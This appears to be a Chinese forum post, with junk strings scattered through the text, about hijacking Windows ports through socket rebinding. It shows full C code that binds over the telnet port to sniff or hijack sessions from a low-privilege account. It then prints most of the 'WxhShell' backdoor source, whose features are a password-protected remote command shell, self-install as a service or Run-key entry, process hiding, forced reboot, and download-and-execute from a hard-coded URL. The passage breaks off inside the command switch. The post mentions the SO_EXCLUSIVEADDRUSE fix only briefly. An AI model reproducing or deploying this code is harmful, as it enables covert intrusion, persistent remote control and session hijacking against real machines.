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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E<'3?(D9hL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a)4.[+wnRf  
>t?;*K\x"  
  saddr.sin_family = AF_INET; A[;R_  
(C,PGjd  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;hmy7M1%  
fT/;TK>z>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2M= gpy  
_7]* 5Pxo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j* g5f  
2@1A,  
  这意味着什么?意味着可以进行如下的攻击: sju. `f>-r  
{Rjj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s{KwO+UW  
RMmDcvM"k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) # o)a`,f  
[Pby  d  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z|uUE   
\8=>l?P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?^2(|t9KU  
5>"$95D  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 xgL*O>l)  
@1gX>!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D^I%tn=F  
Cz Jze  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 sk$MJSE ~  
yFshV\   
  #include WWc{]R^D  
  #include tH2y:o 72  
  #include F%lP<4Vx  
  #include    X|7gj &1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %-i2MK'A  
  int main() QgC  
  {  EP'2'51  
  WORD wVersionRequested; B:a&)L wp0  
  DWORD ret; %[-D&flKC  
  WSADATA wsaData; U=QV^I Qm  
  BOOL val; eL#pS=  
  SOCKADDR_IN saddr; }9aYU;9D  
  SOCKADDR_IN scaddr; -j`tBv)  
  int err; 5"c#O U  
  SOCKET s; (m\PcF  
  SOCKET sc; HzF  
  int caddsize; *rK}Ai  
  HANDLE mt; w8kp6_i'  
  DWORD tid;   7\rz*  
  wVersionRequested = MAKEWORD( 2, 2 ); =\ iV=1iB  
  err = WSAStartup( wVersionRequested, &wsaData ); 6^s=25>p  
  if ( err != 0 ) { "D2 `=D!+  
  printf("error!WSAStartup failed!\n"); ,*Tf9=z  
  return -1; F# y5T3(P  
  } 7d]}BLpjWz  
  saddr.sin_family = AF_INET; 4W*52*'F,  
   e54wAypPOl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BYyR-m  
vp 1IYW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); s6lo11  
  saddr.sin_port = htons(23); A|I7R -  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T'  %TMA  
  { |#LU"D  
  printf("error!socket failed!\n"); vtKQvQ  
  return -1; `-"2(Gp  
  } _)yn6M'Dt  
  val = TRUE; vXAO#'4tm%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p2GkI/6)uu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =66dxU?}  
  { (g`G(K_  
  printf("error!setsockopt failed!\n"); 0hn N>?  
  return -1; !=3[Bm G  
  } !<Ma9%uC{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2)Grl;T]s  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (Gp/^[.%&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 TIbiw  
D/'kYoAEO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #;)Oi9{9;  
  { >u ,Ac:  
  ret=GetLastError(); xqs{d&W  
  printf("error!bind failed!\n"); JQj?+PI  
  return -1; a"EX<6"  
  } |77.Lqqy,  
  listen(s,2); B<u6Z!Pp2  
  while(1) *8M 0h9S$  
  { o|*ao2a  
  caddsize = sizeof(scaddr); l<>syHCH;L  
  //接受连接请求 Fo=Icvo  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g'ha7~w(p  
  if(sc!=INVALID_SOCKET) s3>,%8O6  
  { @#hd8_)A.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7IB<0  
  if(mt==NULL) WUm8 3"  
  { !1$Q Nxgi  
  printf("Thread Creat Failed!\n"); }A\s`H m  
  break; vxhs1vh  
  } Aw~ =U!  
  } rU=qr&f"B  
  CloseHandle(mt); _ [su?C  
  } }><Vc ouJ[  
  closesocket(s); c>#T\AEkF  
  WSACleanup(); jNhiY  
  return 0; "j;"\i0  
  }   b R> G%*a  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2a|9D \  
  { hO w  
  SOCKET ss = (SOCKET)lpParam; S.pL^Ru  
  SOCKET sc; Q1yMI8  
  unsigned char buf[4096]; V9&7K65-1  
  SOCKADDR_IN saddr; <ZcJC+k  
  long num; @E;'Ffo  
  DWORD val; XP'<\  
  DWORD ret; I(tMw6C$:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OJ^kESrm8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Q>Voa&tYn  
  saddr.sin_family = AF_INET; z SDRZ!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v._Q XcE  
  saddr.sin_port = htons(23); e&sZ]{uD  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r6S-G{o  
  { XVr>\T4  
  printf("error!socket failed!\n"); XHs>Q>`  
  return -1; xucrp::g  
  } wCw-EGLR  
  val = 100; %Xc50n2Z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sQUJ]h  
  { <qJI]P  
  ret = GetLastError(); FcVQ_6  
  return -1; P'%#B&LZo  
  } dO]N&'P7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R+{QZ'K.qg  
  { {w:*t)@j  
  ret = GetLastError(); U4)x"s[CP  
  return -1; :0@R(ct;>  
  } /e5' YVP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cq:<,Ke  
  { zG-pqE6  
  printf("error!socket connect failed!\n"); fy9mS  
  closesocket(sc); 011 N  
  closesocket(ss); yvR3|  
  return -1; `#@#e Z  
  } 7QV@lR<C2R  
  while(1) )aSj!X'`;  
  { .)=T1^[hI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E)w6ZwV  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >=Bl/0YH  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sNB*S{   
  num = recv(ss,buf,4096,0); (5CdA1|  
  if(num>0) :kU#5Aj gK  
  send(sc,buf,num,0); K/WnK:LU  
  else if(num==0) :&SvjJR  
  break; p G|-<6WY  
  num = recv(sc,buf,4096,0); ~EIK  
  if(num>0) |Y|6`9;  
  send(ss,buf,num,0); QAGR\~  
  else if(num==0) j IO2uTM~  
  break; ,~8&0p  
  } 03N|@Tu  
  closesocket(ss); C_> WU   
  closesocket(sc); @yV.Yx"p_  
  return 0 ; gn82_  
  } )R %>g-dw  
10tlD<eYb  
T{ WJf-pI  
========================================================== ZkWX4?&OMt  
WAq)1gwN  
下边附上一个代码,,WXhSHELL wFbw3>'a9  
7sypU1V6  
========================================================== ]bcAbCZ@  
up_Qv#`Q  
#include "stdafx.h" +"}#4  
^*?mb)  
#include <stdio.h> Oq3aboAt  
#include <string.h> #su R[K*S  
#include <windows.h> Z$*m=]2  
#include <winsock2.h> =Jyi9VN=&  
#include <winsvc.h> .)(5F45Wg  
#include <urlmon.h> <n4 ?wo  
!LI 8Xk  
#pragma comment (lib, "Ws2_32.lib") @kst G3@  
#pragma comment (lib, "urlmon.lib") o|7ztpr  
%*bGW'Cw  
#define MAX_USER   100 // 最大客户端连接数 TmviYP gb  
#define BUF_SOCK   200 // sock buffer D9yAq'k$  
#define KEY_BUFF   255 // 输入 buffer G^1 5V'*  
G/ sRi wL  
#define REBOOT     0   // 重启 <@.!\  
#define SHUTDOWN   1   // 关机 \u4`6EYF?  
pNFVa<D  
#define DEF_PORT   5000 // 监听端口 DhVO}g)2#  
F ?N+ __o  
#define REG_LEN     16   // 注册表键长度 _a]0<Vm C0  
#define SVC_LEN     80   // NT服务名长度 evSr?ys  
6 uS;H]nd<  
// 从dll定义API ,vDSY N6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z(!K8 T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O'rz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }1kZF{KD<[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >mAi/TZC  
PAD&sTjE*  
// wxhshell配置信息 Q]1s*P  
struct WSCFG { yDapl(  
  int ws_port;         // 监听端口 5M v<8P~  
  char ws_passstr[REG_LEN]; // 口令 QZwZ4$jkiO  
  int ws_autoins;       // 安装标记, 1=yes 0=no sgLw,WZ:  
  char ws_regname[REG_LEN]; // 注册表键名 99GK6}~TGm  
  char ws_svcname[REG_LEN]; // 服务名 W?H-Ng3E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |S6L[Uo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A)9F_;BY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `g+Kv&546  
int ws_downexe;       // 下载执行标记, 1=yes 0=no rtxG-a56Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \yhj{QS.k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1xTNrLW  
FZBdQhYF  
}; % `\}#  
pqF!1  
// default Wxhshell configuration P=<>H9p:o  
struct WSCFG wscfg={DEF_PORT, c BcZ@e;  
    "xuhuanlingzhe", @ JfQ}`  
    1, 'O^<i`8U]  
    "Wxhshell", *";O_ :C!  
    "Wxhshell", d-{1>\-_  
            "WxhShell Service", s&d!+-\6_  
    "Wrsky Windows CmdShell Service", wbQs>pc  
    "Please Input Your Password: ", _aP 2gH  
  1, ~ugyUpY"  
  "http://www.wrsky.com/wxhshell.exe", aY8QYK ;?^  
  "Wxhshell.exe" Oil~QAd,  
    }; oiRrpS\T.  
*{!E`),FX  
// 消息定义模块 e3.q8r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M@]@1Q.p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ba}<X;B}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .+A2\F.^  
char *msg_ws_ext="\n\rExit."; d3;Sy`.  
char *msg_ws_end="\n\rQuit."; -|2k$W  
char *msg_ws_boot="\n\rReboot..."; s 9n_s=w  
char *msg_ws_poff="\n\rShutdown..."; F\2<q$Zn+  
char *msg_ws_down="\n\rSave to "; SG@E*yT1  
fq?MnWc  
char *msg_ws_err="\n\rErr!"; =))VxuoN  
char *msg_ws_ok="\n\rOK!"; BHf7\ +Ul  
h$)4%Fy  
char ExeFile[MAX_PATH]; e ~ %=H 0n  
int nUser = 0; Z,I0<ecaD  
HANDLE handles[MAX_USER]; bLSUF`-z  
int OsIsNt; {k uC+~R  
P$v9  
SERVICE_STATUS       serviceStatus; y=&^=Z h[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ne|N!!Dmk  
\Lg{GN.  
// 函数声明 c[+uwO~  
int Install(void); \C kb:  
int Uninstall(void); M@=VIrX,m  
int DownloadFile(char *sURL, SOCKET wsh); AhU   
int Boot(int flag); GK&R,q5}  
void HideProc(void); R4%}IT^%P  
int GetOsVer(void); ==npFjB  
int Wxhshell(SOCKET wsl); ('6sW/F*ab  
void TalkWithClient(void *cs); 4 3G2{  
int CmdShell(SOCKET sock); =X3Rk)2r  
int StartFromService(void); UM}MK  
int StartWxhshell(LPSTR lpCmdLine); 2O(= 2X  
p5Wz.n.<'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b *Ca*!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |xFSGrC  
]D<3y IGS  
// 数据结构和表定义 J'C%  
SERVICE_TABLE_ENTRY DispatchTable[] = }k0B   
{ bScW<DZJ-  
{wscfg.ws_svcname, NTServiceMain}, QV>hQ]L  
{NULL, NULL} 8SN4E  
}; a 9!.e rM  
LMaY}m>  
// 自我安装 MDauHtF,  
int Install(void) GhR%fxe  
{ AP9>_0=  
  char svExeFile[MAX_PATH]; (5GjtFojY|  
  HKEY key; " +A8w  
  strcpy(svExeFile,ExeFile); om{aws;  
LAH.PcjPa  
// 如果是win9x系统,修改注册表设为自启动 9'0v]ar  
if(!OsIsNt) { cH`ziZ<&m1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UIo jXR<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )E c /5=A  
  RegCloseKey(key); a{\<L/\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mJ'5!G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RYV:?=D7s  
  RegCloseKey(key); ]6].l$%z#  
  return 0; _i2guhRs*Q  
    } rnP *}  
  } S\0?~l"}  
} :+Tvq,/"  
else { $H"(]>~  
fzr0dcNgM  
// 如果是NT以上系统,安装为系统服务 >k8FUf(c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lNx:_g:SrZ  
if (schSCManager!=0) *n_7~ZX  
{ |W*i'E   
  SC_HANDLE schService = CreateService Vi>`g{\  
  ( evlz R/  
  schSCManager, uF\ ;m.  
  wscfg.ws_svcname, c^7QiTt_  
  wscfg.ws_svcdisp, ]5+<Rqdbg  
  SERVICE_ALL_ACCESS, <|;)iT1VeT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pwmH(94$0  
  SERVICE_AUTO_START, i\C~]K~O!  
  SERVICE_ERROR_NORMAL, .&rL>A2U  
  svExeFile, N4u-tlA  
  NULL, DS ^ `:^hv  
  NULL, ~y>NJM>1  
  NULL, w">-r}HnJ  
  NULL, Y\j5{;V  
  NULL u&r+ylbs I  
  ); =j~Xrytn  
  if (schService!=0) PDhoCAh !  
  { .Lp\Jyegs  
  CloseServiceHandle(schService); *eAzk2  
  CloseServiceHandle(schSCManager); .$-GGvN]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C/YjMYwKgv  
  strcat(svExeFile,wscfg.ws_svcname); c}mWAZ=wF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1Wb_>`;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a[7 Lqu  
  RegCloseKey(key); lO=~&_  
  return 0; h`pXUnEZ  
    } &5Huv?^a'  
  } t{Z:N']H  
  CloseServiceHandle(schSCManager); /EV _Y|(-  
} O_^;wey0}?  
} frUO+  
nE=,=K~  
return 1; A;gU@8m  
} Mcqym8,q|3  
:NXM.@jJ="  
// 自我卸载 ,_I#+XiXY  
int Uninstall(void) 1Ts$kdO  
{ \kG;T=H  
  HKEY key; T*qSk!  
BL H~`N3U  
if(!OsIsNt) { ehyCAp0oI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kq;s${ |G  
  RegDeleteValue(key,wscfg.ws_regname); W5R /  
  RegCloseKey(key); Itv}TK eF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V2IurDE  
  RegDeleteValue(key,wscfg.ws_regname); O9R[F  
  RegCloseKey(key); 9;tY'32/  
  return 0; {v U;(eN  
  } e<r}{=1w  
} 0%"sOth  
} !EB[Lut m  
else { #9(L/)^  
ev9ltl{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @<C<rB8R  
if (schSCManager!=0) p #Y2v  
{ abkt&981K+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }S6"$R  
  if (schService!=0) &z?:s  
  { rixt_}aE  
  if(DeleteService(schService)!=0) { @h!nVf%fe  
  CloseServiceHandle(schService); /7hC /!@  
  CloseServiceHandle(schSCManager); 'ARbJ1a  
  return 0; IRIYj(J  
  } pN#RTb8o  
  CloseServiceHandle(schService); c&I"&oZ@&  
  } rA[wC%%  
  CloseServiceHandle(schSCManager); LW*v/`@  
} Mh8s@g  
} k.!m-5E  
`,$PRN"]  
return 1; }$Z0v`  
} h+j{;evN  
F-PQ`@ZNW  
// 从指定url下载文件 `w EAU7m:  
int DownloadFile(char *sURL, SOCKET wsh) Z Z9D6+R  
{ 9;R'Xo=y  
  HRESULT hr; tWaM+W  
char seps[]= "/"; VQ^}f/A  
char *token; >Qx :l#B  
char *file; !30BR|K*  
char myURL[MAX_PATH]; T[ltOQw?Y  
char myFILE[MAX_PATH]; PAS0 D #  
u_jhmKr~  
strcpy(myURL,sURL); 5LzP0F U  
  token=strtok(myURL,seps); aM|;3j1p  
  while(token!=NULL) +\U#:gmw  
  { Z!2%{HQ=q  
    file=token; H& !?c5  
  token=strtok(NULL,seps); =pd#U  
  }  giORc  
-^$`5Rk  
GetCurrentDirectory(MAX_PATH,myFILE); Cnv?0to2l  
strcat(myFILE, "\\"); d'k99(vy  
strcat(myFILE, file); v`Yj)  
  send(wsh,myFILE,strlen(myFILE),0); 5DmW5w'p  
send(wsh,"...",3,0); {3eg4j.Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fzZ`O{$8  
  if(hr==S_OK) D]+]Br8  
return 0; [(*?  
else 0$=w8tP)  
return 1; 4~~G i`XE  
N;R I A  
} =:_DXGW2H  
9y?)Ga  
// 系统电源模块 odh cU5  
int Boot(int flag) wf2v9.;X:<  
{ &NH[b1NMr  
  HANDLE hToken; u#nM_UJe  
  TOKEN_PRIVILEGES tkp; \EW<;xq  
qu%}b>  
  if(OsIsNt) { )Y:C'*.r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .qS(-7<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8 DPn5E#M1  
    tkp.PrivilegeCount = 1; HwZ"l31  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @7`=0;g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1"f)\FPGe  
if(flag==REBOOT) { v \dP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {'z(  
  return 0; |vtj0 ,[  
} wyB  
else { $[V-M\q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PnZY%+[I  
  return 0; #AF.1;(k  
} `oOVR6{K9  
  } s y>}2orj~  
  else { `Ha<t.v(  
if(flag==REBOOT) { :: s k)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <lTLz$QE  
  return 0; #Q@~ TW  
} 7mA:~-.u  
else { q aG8:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dy3fZ(=q^  
  return 0; T\w{&3ONm  
} }6!m Q  
} _~bG[lX!  
mr>dZ)  
return 1; ffR<G&"n~b  
} z!aU85y  
e[Jh7r>'  
// win9x进程隐藏模块 YnlZyw!  
void HideProc(void) S|r,RBeZ  
{ =w ! 6un  
ou=33}uO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5Kl;(0B9  
  if ( hKernel != NULL ) sB wzb  
  { .4[M7)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D[dI_|59a  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B7( bNr  
    FreeLibrary(hKernel); ={\9-JJhE  
  } 4 }NCdGD  
Qrw:Bva)  
return; MG vp6/Pd  
} !md1~g$rN  
6 #k mV  
// 获取操作系统版本 "'~&D/7  
int GetOsVer(void) 5DL(#9F8b9  
{ .*&F  
  OSVERSIONINFO winfo; P c'\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); La$?/\Dv)  
  GetVersionEx(&winfo); BMb0Pu 8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g}$B4_sY  
  return 1; *g"X hk  
  else e\.  
  return 0; r*UE>_3J  
} `t>:i!s/  
RG:_:%@%}  
// 客户端句柄模块 #6@4c5{2=4  
int Wxhshell(SOCKET wsl) \G2PK&)F  
{ K"8!  
  SOCKET wsh; #N'bhs  
  struct sockaddr_in client; !+ (H(,gI  
  DWORD myID; =-]NAj\  
aSIoq}c(  
  while(nUser<MAX_USER) S|]\q-qA&  
{ cH6J:0>W  
  int nSize=sizeof(client); !:Ob3Mq\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *iJ>@ vew  
  if(wsh==INVALID_SOCKET) return 1; Z@0IvI  
ZhFlR*EQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X'p%K/-m  
if(handles[nUser]==0) NUh+ &M  
  closesocket(wsh); ?hKpJA'%  
else ^*b11 /7  
  nUser++; 5=Il2  
  } 7`tJ/xtMy;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EzU3'x  
vf-8DB  
  return 0; -'T^gEd) c  
} cToT_Mk  
^bECX<,H  
// 关闭 socket iN1_ T  
void CloseIt(SOCKET wsh) _Uhl4Mh  
{ rC6@ ]  
closesocket(wsh); s#FX2r3=Fg  
nUser--; ;N!opg))d<  
ExitThread(0); 0E#?H0<OeG  
} d 9]zB-A  
9yp'-RKjw  
// 客户端请求句柄 4P?@NJp  
void TalkWithClient(void *cs) bJ]blnH  
{ B1TWOl?d{  
B?9"Ztb  
  SOCKET wsh=(SOCKET)cs; hfpis==  
  char pwd[SVC_LEN]; 6t3Zi:=I  
  char cmd[KEY_BUFF]; q-qz-cR  
char chr[1]; EP{/]T  
int i,j; gw<u dhk  
P>'29$1'  
  while (nUser < MAX_USER) { lQpl8>  
D&1(qi=x&  
if(wscfg.ws_passstr) { ]xPy-j6C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^G NL:D%6d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 36}&{A  
  //ZeroMemory(pwd,KEY_BUFF); 's$/-AV  
      i=0; | CPyCM$  
  while(i<SVC_LEN) { ne%(`XY{Q]  
lS?#(}a1)  
  // 设置超时 `:W}yo<F  
  fd_set FdRead; 8Fv4\dr  
  struct timeval TimeOut; gdS@NUM  
  FD_ZERO(&FdRead); ($t;Xab  
  FD_SET(wsh,&FdRead); _gQ_ixu  
  TimeOut.tv_sec=8; ) .W0}  
  TimeOut.tv_usec=0; UL" M?).5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !e}4>!L,(^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o_&Qb^W  
|k]fY*z(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [<X ~m  
  pwd=chr[0]; s?PB ]Tr  
  if(chr[0]==0xd || chr[0]==0xa) { =z\/xzAwX  
  pwd=0; B^C 5?  
  break; mt4X  
  } czH# ~  
  i++; _z>%h>L|g  
    } )gV @6w  
T1;>qgp4b  
  // 如果是非法用户,关闭 socket XoGOY|2`6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); = VMELk!z  
} zN/nKj: Q  
B^/(wHBp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R,8T t!n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PsBLAr\ah  
u24XuSe$  
while(1) { -_bDbYL  
S7j U:CLJ  
  ZeroMemory(cmd,KEY_BUFF); \zhCGDm1_  
;f /2u  
      // 自动支持客户端 telnet标准   9&{HD  
  j=0; PNH>LT^  
  while(j<KEY_BUFF) { M6y|;lh''c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #v*3-) 8  
  cmd[j]=chr[0]; dv?t;D@p!  
  if(chr[0]==0xa || chr[0]==0xd) { }>_  
  cmd[j]=0; l7 U<]i GL  
  break; ps33&  
  } Aa^w{D  
  j++; 0@&/W-VXg  
    } *vT Abk$   
tv5N wM  
  // 下载文件 wpt5'|I  
  if(strstr(cmd,"http://")) { 2\CZ"a#[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]PB95%  
  if(DownloadFile(cmd,wsh)) 7Ac.^rv5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 60l!3o"p!  
  else y0'WB`hNQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ps*iE=D  
  } umt(e:3f5  
  else { -/_hO$|W  
le6eorK8  
    switch(cmd[0]) { 0Z{u;FI  
  DPfN*a-P(  
  // 帮助 ,nJCqX~ /G  
  case '?': { $g\p)- aU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /sSM<r]5j  
    break; E,QD6<?[  
  } G<Urj+3/Xo  
  // 安装 3&R1C>JS ]  
  case 'i': { O~Svk'.)  
    if(Install()) fC/P W`4Ae  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F(w<YU %6  
    else CKX3t:HP0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d"S\j@  
    break; _p<wATv?7t  
    } %&wi@ *#  
  // 卸载 :0p$r pJP  
  case 'r': { HC"yC;_  
    if(Uninstall()) $|VdGRZ1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qR kPl!5  
    else D4*_/,}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rr2^sQ;_  
    break; [@NW  
    } Fe2t[y:8h  
  // 显示 wxhshell 所在路径 ;8cTy8  
  case 'p': { ek d[|g  
    char svExeFile[MAX_PATH]; xu@xP5GB^  
    strcpy(svExeFile,"\n\r"); WA5.qw  
      strcat(svExeFile,ExeFile); 7?8+h  
        send(wsh,svExeFile,strlen(svExeFile),0); Ym 2Ac>I4  
    break; )Jh:~9L%='  
    } bL|$\'S  
  // 重启 pxCQ=0k  
  case 'b': { z}Vg4\x&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0|,Ij $  
    if(Boot(REBOOT)) CDT;AdRw7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #<es>~0!  
    else { me90|GOx+  
    closesocket(wsh); oVd7ucnK  
    ExitThread(0); iKv"200h(  
    } I")mg~f  
    break; 0Kg?X  
    } c`oW-K{  
  // 关机 +y\o^w4sT  
  case 'd': { C%#u2C2  
